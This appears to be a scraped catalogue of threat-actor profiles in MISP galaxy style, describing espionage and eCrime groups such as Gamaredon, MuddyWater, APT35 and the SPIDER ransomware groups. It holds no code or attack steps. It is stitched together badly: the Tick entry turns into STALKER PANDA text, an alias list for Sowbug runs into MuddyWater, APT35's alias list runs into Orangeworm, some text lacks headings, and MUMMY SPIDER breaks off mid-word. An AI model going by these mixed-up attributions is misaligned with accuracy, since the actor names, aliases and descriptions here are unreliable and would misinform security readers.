A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.

The tag is: misp-galaxy:threat-actor=”Sath-ı Müdafaa”

Aslan Neferler Tim

Turkish nationalist hacktivist group that has been active for roughly one year. According to DomainTools, the group’s site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey’s policies or leadership, and purports to act in defense of Islam.
The tag is: *misp-galaxy:threat-actor=*"Aslan Neferler Tim"

Aslan Neferler Tim is also known as:

- Lion Soldiers Team
- Phantom Turk

**Ayyıldız Tim**

Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.

The tag is: *misp-galaxy:threat-actor=*"Ayyıldız Tim"

Ayyıldız Tim is also known as:

- Crescent and Star

**TurkHackTeam**

Founded in 2004, Turkhackteam is one of Turkey's oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam's forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations.

Gamaredon Group

Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.

The tag is: misp-galaxy:threat-actor="Gamaredon Group"

Gamaredon Group is also known as:

- ACTINIUM
- DEV-0157

Infy

Infy is a group of suspected Iranian origin. Since early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human right activists in the beginning of 2015. In line with other research on the campaign, released prior to publication of this document, we have adopted the name “Infy”, which is based on labels used in the infrastructure and its two families of malware agents. Thanks to information we have been able to collect during the course of our research, such as characteristics of the group's malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware.
The tag is: *misp-galaxy:threat-actor=“Infy”*

Infy is also known as:

- Operation Mermaid
- Prince of Persia
- Foudre

**Sima**

Sima is a group of suspected Iranian origin targeting Iranians in diaspora. In February 2016, Iran-focused individuals received messages purporting to be from Human RightsWatch’s (HRW) Emergencies Director, requesting that they read an article about Iran pressng Afghans to fight in Syria. While referencing a real report published by HRW, the links provided for the Director’s biography and article directed the recipient to malware hosted elsewhere. These spear-phishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting. Although the messages still had minor grammatical and stylistic errors that would be obvious to a native speaker, the actors demonstrated stronger English-language proficiency than past intrusion sets and a deeper investment in background research prior to the attempt. The actors appropriated a real identity that would be expected to professionally interact with the subject, then offered validation through links to their biography and social media, the former of which itself was malware as well. The bait documents contained a real article relevant to their interests and topic referenced, and the message attempted to address how it aligned with their professional research or field of employment. The referenced documents sent were malware binaries posing as legitimate files using the common right-to-left filenames tactic in order to conceal the actual file extension. All of these techniques, while common pretexting mechanisms,
are a refinement compared to a tendency amongst other groups to simply continually send
different forms of generic malware or phishing, in the hopes that one would eventually be successful.

**Longhorn**

Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the
organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name "Vault 7."

SilverTerrier

As these tools rise and fall in popularity (and more importantly, as detection rates by antivirus vendors improve), SilverTerrier actors have consistently adopted new malware families and shifted to the latest packing tools available.

The tag is: `misp-galaxy:threat-actor="SilverTerrier"`

WildNeutron

A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks. Butterfly is technically proficient and well resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers, and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target. This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes.

**PLATINUM**

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: *misp-galaxy:threat-actor="PLATINUM"*

RASPITE

Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.

El Machete

El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here. We've found that this group has continued to operate successfully, predominantly in Latin America, since 2014. All attackers simply moved to new C2 infrastructure, based largely around dynamic DNS domains, in addition to making minimal changes to the malware in order to evade signature-based detection.

The tag is: misp-galaxy:threat-actor="El Machete"

We have observed one APT group, which we call APT5, particularly focused on telecommunications and technology companies. More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors. Several times, APT5 has targeted organizations and personnel based in Southeast Asia. APT5 has been active since at least 2007. It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications. APT5 targeted the network of an electronics firm that sells products for both industrial and military applications. The group subsequently stole communications related to the firm’s business relationship with a national military, including inventories and memoranda about specific products they provided. In one case in late 2014, APT5 breached the network of an international telecommunications company. The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company’s relationships with other telecommunications companies.

**Tick**

Tick is a cyber espionage group with likely Chinese origins that has been active since at least 2008.
The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes. The attacks appear to be centered on political, media, and engineering sectors. STALKER PANDA has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States.

Madi

Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel and select countries across the globe connecting to the C&Cs over the past eight months. Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East. Common applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also performed over integrated ERP/CRM systems, business contracts, and financial management systems.

Snake Wine

While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group’s backdoors. Cylance tracks this threat group internally as ‘Snake Wine’. The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.

Careto

This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes. The Mask is an advanced threat actor that has been involved in cyber-espionage operations since at least 2007. The name “Mask” comes from the Spanish slang word “Careto” (“Ugly Face” or “Mask”) which the authors included in some of the malware modules. More than 380 unique victims in 31 countries have been observed to date. What makes “The Mask” special is the complexity of the toolset used by the attackers. This includes an extremely sophisticated malware, a rootkit, a bootkit, 32-and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS).

The tag is: misp-galaxy:threat-actor="Careto"

APT6

The FBI issued a rare bulletin admitting that a group named Advanced Persistent Threat 6 (APT6) hacked into US government computer systems as far back as 2011 and for years stole sensitive data. The FBI alert was issued in February and went largely unnoticed. Nearly a month later, security experts are now shining a bright light on the alert and the mysterious group behind the attack. “This is a rare alert and a little late, but one that is welcomed by all security vendors as it offers a chance to mitigate their customers and also collaborate further in what appears to be an ongoing FBI investigation,” said Deepen Desai, director of security research at the security firm Zscaler in an email to Threatpost. Details regarding the actual attack and what government systems were infected are scant. Government officials said they knew the initial attack occurred in 2011, but are
unaware of who specifically is behind the attacks. “Given the nature of malware payload involved and the duration of this compromise being unnoticed – the scope of lateral movement inside the compromised network is very high possibly exposing all the critical systems,” Deepen said.

White Bear

As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity. From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively
rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.

**Sowbug**

Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates.

The tag is: `misp-galaxy:threat-actor="Sowbug"`

Sowbug is also known as:
MuddyWater

The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.

The tag is: misp-galaxy:threat-actor="MuddyWater"

MuddyWater is also known as:

- TEMP.Zagros
- Static Kitten
- Seedworm
- MERCURY
- COBALT ULSTER
- G0069
- ATK51
- Boggy Serpens

MuddyWater has relationships with:

APT35

FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.

The tag is: misp-galaxy:threat-actor="APT35"

APT35 is also known as:

Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.

The tag is: `misp-galaxy:threat-actor="Orangeworm"`
**ALLANITE**

Adversaries abusing ICS (based on Dragos Inc adversary list). ALLANITE accesses business and industrial control (ICS) networks, conducts reconnaissance, and gathers intelligence in United States and United Kingdom electric utility sectors. Dragos assesses with moderate confidence that ALLANITE operators continue to maintain ICS network access to: (1) understand the operational environment necessary to develop disruptive capabilities, (2) have ready access from which to disrupt electric utilities. ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks, including collecting and distributing screenshots of industrial control systems. ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities. ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system.

The Big Bang

While it is not clear exactly what the attacker is looking for, what is clear is that once he finds it, a second stage of the attack awaits, fetching additional modules and/or malware from the Command and Control server. This then is a surveillance attack in progress and has been dubbed ‘Big Bang’ due to the attacker’s fondness for the ‘Big Bang Theory’ TV show, after which some of the malware’s modules are named.

The Gorgon Group

Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.

The tag is: misp-galaxy:threat-actor="The Gorgon Group"

The Gorgon Group is also known as:

- Gorgon Group
- Subaat
- ATK92
- G0078
- Pasty Gemini

DarkHydrus

In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).

The tag is: misp-galaxy:threat-actor="DarkHydrus"

DarkHydrus is also known as:

- LazyMeerkat
• G0079
• Obscure Serpens

RedAlpha

Recorded Future’s Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.

The tag is: `misp-galaxy:threat-actor="RedAlpha"`

RedAlpha is also known as:

• DeepCliff
• Red Dev 3

**Operation Parliament**

This threat actor uses spear-phishing techniques to target parliaments, government ministries, academics, and media organizations, primarily in the Middle East, for the purpose of espionage. Based on our findings, we believe the attackers represent a previously unknown geopolitically motivated threat actor. The campaign started in 2017, with the attackers doing just enough to achieve their goals. They most likely have access to additional tools when needed and appear to have access to an elaborate database of contacts in sensitive organizations and personnel worldwide, especially of vulnerable and non-trained staff. The victim systems range from personal desktop or laptop systems to large servers with domain controller roles or similar. The nature of the targeted ministries varied, including those responsible for telecommunications, health, energy, justice, finance and so on. Operation Parliament appears to be another symptom of escalating tensions in the Middle East region. The attackers have taken great care to stay under the radar, imitating another attack group in the region. They have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their command and control servers. The targeting seems to have slowed down since the beginning of 2018, probably winding down when the desired data or access was obtained. The targeting of specific victims is unlike previously seen behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points to an elaborate information-gathering exercise that was carried out before the attacks (physical and/or digital). With deception and false flags increasingly being employed by threat actors, attribution is a hard and complicated task that requires solid evidence, especially in complex regions such as the Middle East.

MUSTANG PANDA

This threat actor targets nongovernmental organizations using Mongolian-themed lures for espionage purposes. In April 2017, CrowdStrike Falcon Intelligence observed a previously unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. Further analysis revealed a wider campaign with unique tactics, techniques, and procedures (TTPs). This adversary targets non-governmental organizations (NGOs) in general, but uses Mongolian language decoys and themes, suggesting this actor has a specific focus on gathering intelligence on Mongolia. These campaigns involve the use of shared malware like Poison Ivy or PlugX. Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files.

Stealth Mango and Tangelo

This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

The tag is: `misp-galaxy:threat-actor="Stealth Mango and Tangelo"`
PowerPool

Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.

A security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.

More specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user's permissions, allowing write privileges on files in C:\Windows\Task.

The vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.

A couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.

The group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.

The researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it.

The tag is: *misp-galaxy:threat-actor="PowerPool"

PowerPool is also known as:

- IAmTheKing

Bahamut

Bahamut is a threat actor primarily operating in Middle East and Central Asia, suspected to be a private contractor to several state sponsored actors. They were observed conduct phishing as well as desktop and mobile malware campaigns.
Iron Group

Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.

The tag is: misp-galaxy:threat-actor="Iron Group"

Iron Group is also known as:

• Iron Cyber Group

Operation BugDrop

This threat actor targets critical infrastructure entities in the oil and gas sector, primarily in Ukraine. The threat actors deploy the BugDrop malware to remotely access the microphones in their targets' computers to eavesdrop on conversations.

The tag is: misp-galaxy:threat-actor="Operation BugDrop"

Unnamed Actor

This threat actor compromises civil society groups the Chinese Communist Party views as hostile to its interests, such as Tibetan, Uyghur, Hong Kong, and Taiwanese activist. The threat actor also targeted the Myanmar electoral commission.

The tag is: misp-galaxy:threat-actor="Unnamed Actor"
**MageCart**

Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.

**FASTCash**

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed
malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:threat-actor="FASTCash"

**Roaming Mantis**

According to new research by Kaspersky’s GReAT team, the online criminal activities of the Roaming Mantis Group have continued to evolve since they were first discovered in April 2018. As part of their activities, this group hacks into exploitable routers and changes their DNS configuration. This allows the attackers to redirect the router user’s traffic to malicious Android apps disguised as Facebook and Chrome or to Apple phishing pages that were used to steal Apple ID credentials. Recently, Kaspersky has discovered that this group is testing a new monetization scheme by redirecting iOS users to pages that contain the Coinhive in-browser mining script rather than the normal Apple phishing page. When users are redirected to these pages, they will be shown a blank page in the browser, but their CPU utilization will jump to 90% or higher.

The tag is: *misp-galaxy:threat-actor="Roaming Mantis"

Roaming Mantis is also known as:

- Roaming Mantis Group

**INDRIK SPIDER**

INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware. In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.’s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

The tag is: misp-galaxy:threat-actor="INDRIK SPIDER"

View relationships graph

INDRIK SPIDER has relationships with:
Cisco Talos recently discovered a new campaign targeting Lebanon and the United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese airline company. Based on our research, it's clear that this adversary spent time understanding the victims' network infrastructure in order to remain under the radar and act as inconspicuous as possible during their attacks. Based on this actor's infrastructure and TTPs, we haven't been able to connect them with any other campaign or actor that's been observed recently. This particular campaign utilizes two fake, malicious websites containing job postings that are used to compromise targets via malicious Microsoft Office documents with embedded macros. The malware utilized by this actor, which we are calling “DNSpionage,” supports HTTP and DNS communication with the attackers. In a separate campaign, the attackers used the same IP to redirect the DNS of legitimate .gov and private company domains. During each DNS compromise, the actor carefully generated Let's Encrypt certificates for the redirected domains. These certificates provide X.509 certificates for TLS free of charge to the user. We don't know at this time if the DNS redirections were successful. In this post, we will break down the attackers' methods and show how they used malicious documents to attempt to trick users into opening malicious websites that are disguised as "help wanted" sites for job seekers. Additionally, we will describe the malicious DNS redirection and the timeline of the events.

Operation Poison Needles

What's noteworthy is that according to the introduction on the compromised website of the polyclinic (http://www.p2f.ru), the institution was established in 1965 and it was founded by the Presidential Administration of Russia. The multidisciplinary outpatient institution mainly serves the civil servants of the highest executive, legislative, judicial authorities of the Russian Federation, as well as famous figures of science and art. Since it is the first detection of this APT attack by 360 Security on a global scale, we code-named it as “Operation Poison Needles”, considering that the target was a medical institution. Currently, the attribution of the attacker is still under investigation. However, the special background of the polyclinic and the sensitiveness of the group it served both indicate the attack is highly targeted. Simultaneously, the attack occurred at a very sensitive timing of the Kerch Strait Incident, so it also aroused the assumption on the political attribution of the attack.

Operation Sharpshooter

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code
from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries. Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

GRIM SPIDER

GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past. Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk’s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD. Grim Spider is reportedly associated with Lunar Spider and Wizard Spider.

The tag is: `misp-galaxy:threat-actor="GRIM SPIDER"`

GRIM SPIDER is also known as:

- GOLD ULRICK

WIZARD SPIDER

Wizard Spider is reportedly associated with Grim Spider and Lunar Spider. The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware. This group represents a growing criminal enterprise of which GRIM SPIDER appears to be a subset. The LUNAR SPIDER threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot (aka IcedID), which was first observed in April 2017. The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud, through the use of webinfects and a malware distribution function. GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past.

MUMMY SPIDER

MUMMY SPIDER is a criminal entity linked to the core development of the malware most commonly known as Emotet or Geodo. First observed in mid-2014, this malware shared code with the Bugat (aka Feodo) banking Trojan. However, MUMMY SPIDER swiftly developed the malware's
capabilities to include an RSA key exchange for command and control (C2) communication and a modular architecture. MUMMY SPIDER does not follow typical criminal behavioral patterns. In particular, MUMMY SPIDER usually conducts attacks for a few months before ceasing operations for a period of between three and 12 months, before returning with a new variant or version. After a 10 month hiatus, MUMMY SPIDER returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects, it is currently acting as a ‘loader’ delivering other malware packages. The primary modules perform reconnaissance on victim machines, drop freeware tools for credential collection from web browsers and mail clients and a spam plugin for self-propagation. The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot. MUMMY SPIDER advertised Emotet on underground forums until 2015, at which time it became private. Therefore, it is highly likely that Emotet is operate

Cold River

In short, “Cold River” is a sophisticated threat (actor) that utilizes DNS subdomain hijacking, certificate spoofing, and covert tunneled command and control traffic in combination with complex and convincing lure documents and custom implants.

The tag is: misp-galaxy:threat-actor="Cold River"

Cold River is also known as:

- Nahr Elbard
- Nahr el bared

Silence group

A relatively new threat actor that’s been operating since mid-2016 Group-IB has exposed the attacks committed by Silence cybercriminal group. While the gang had previously targeted Russian banks, Group-IB experts also have discovered evidence of the group’s activity in more than 25 countries worldwide. Group-IB has published its first detailed report on tactics and tools employed by Silence. Group-IB security analysts’ hypothesis is that at least one of the gang members appears to be a former or current employee of a cyber security company. The confirmed damage from Silence activity is estimated at 800 000 USD. Silence is a group of Russian-speaking hackers, based on their commands language, the location of infrastructure they used, and the geography of their targets (Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan). Although phishing emails were also sent to bank employees in Central and Western Europe, Africa, and Asia). Furthermore, Silence used Russian words typed on an English keyboard layout for the commands of the employed backdoor. The hackers also used Russian-language web hosting services.

The tag is: misp-galaxy:threat-actor="Silence group"

Silence group is also known as:

- Silence
- WHISPER SPIDER
APT39

APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as "Chafer." However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39's targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry.

Siesta

FireEye recently looked deeper into the activity discussed in TrendMicro's blog and dubbed the "Siesta" campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyber-espionage unit APT1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT1. The Siesta campaign reinforces the fact that analysts and network defenders should remain on the lookout for known, public indicators
and for shared attributes that allow security experts to detect multiple actors with one signature.

PINCHY SPIDER

First observed in January 2018, GandCrab ransomware quickly began to proliferate and receive regular updates from its developer, PINCHY SPIDER, which over the course of the year established a RaaS operation with a dedicated set of affiliates. CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers.

Operation ShadowHammer

